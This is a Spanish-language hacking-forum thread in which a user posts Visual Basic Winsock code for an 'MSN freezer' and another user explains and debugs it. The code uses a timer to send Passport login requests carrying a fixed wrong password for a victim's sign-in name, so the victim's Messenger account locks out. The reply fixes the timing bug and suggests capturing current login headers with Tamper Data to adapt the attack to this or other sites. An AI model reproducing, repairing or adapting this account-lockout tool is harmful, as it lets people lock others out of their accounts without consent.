Hola amigos de elhacker.net, queria saludarles y a la vez mostrarles mi aprendisaje.
Bueno este codigo fuente es:
Public Class Form1
Private Sub Command1_Click()
On Error Resume Next
Winsock1.Connect("login.passport.com", 80)
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf)
Winsock1.SendData("Accept: */*" & vbCrLf)
Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)
Winsock1.SendData(vbCrLf)
Winsock1.SendData(vbCrLf)
End Sub
Private Sub Command2_Click()
On Error Resume Next
Timer1.Enabled = False
Winsock1.Close()
End Sub
El caso es que en este experimento que estado haciendo sobre los congeladores del msn queria que calificaceis mi avance, y que me ayudaran a encontrar donde esa el problema de este codigo.
Saludos y muchas gracias por la atencion !
Haber si no me falla la memoria y mirando un poco el code te puedo decir que ese code es del CHAU MSN creo, aparte de ello siempre trata de ver lo que hace el programa y luego copia si quieres, no empiezes como lo hice yo
Bueno te explico algo el code :
Private Sub Command1_Click()
On Error Resume Next
Winsock1.Connect("login.passport.com", 80)
Timer1.Enabled = True
End Sub
Primeri tienes que añadir un WInsock al Programa y Un Command Button
Winsock1.Connect("login.passport.com", 80) ' Aqui lo que hace es conectarse a hotmail con el winsock
Timer1.Enabled = True ' Inicia un Timer
Private Sub Timer1_Timer()
On Error Resume Next
Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf)
Winsock1.SendData("Accept: */*" & vbCrLf)
Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)
Winsock1.SendData(vbCrLf)
Winsock1.SendData(vbCrLf)
End Sub
Aqui esta parte esta Re-Mal ya que el Timer funciona sin saber si el Socket esta conectado por lo que el timer deberias activarlo en el evento del Winsock Connect para estar asegurados de que ya esta conectado y que puedes enviar todos esos datos
Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf)
Winsock1.SendData("Accept: */*" & vbCrLf)
Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)
Winsock1.SendData(vbCrLf)
Winsock1.SendData(vbCrLf)
Aqui esta parte lo que hace es mandarle datos al servidor de hotmail con un passwords Mal (
pwd=FREEZED-BY-WHK ) para que el mismo al pasar los 3 intentos de conexión con passwords mal se congele el msn por un tiempo hasta que deje de activar el timer ese y luego para de enviar passwords mal y se descongela el MSN despues de 3 minutos o algo asi.
PD : Creo que hotmail cambio ese metodo ya por lo que deberias utilizar algun programa coo Tamper Data para modificar las cabezeras del navegador y obtener la nueva forma de loguearse, asi mismo lo puedes hacer con cualquier otro sitio que necesite login
Aqui un ejemplo de como seria modificar las cabezeras del Passaport de Hotmail con el Tamper Data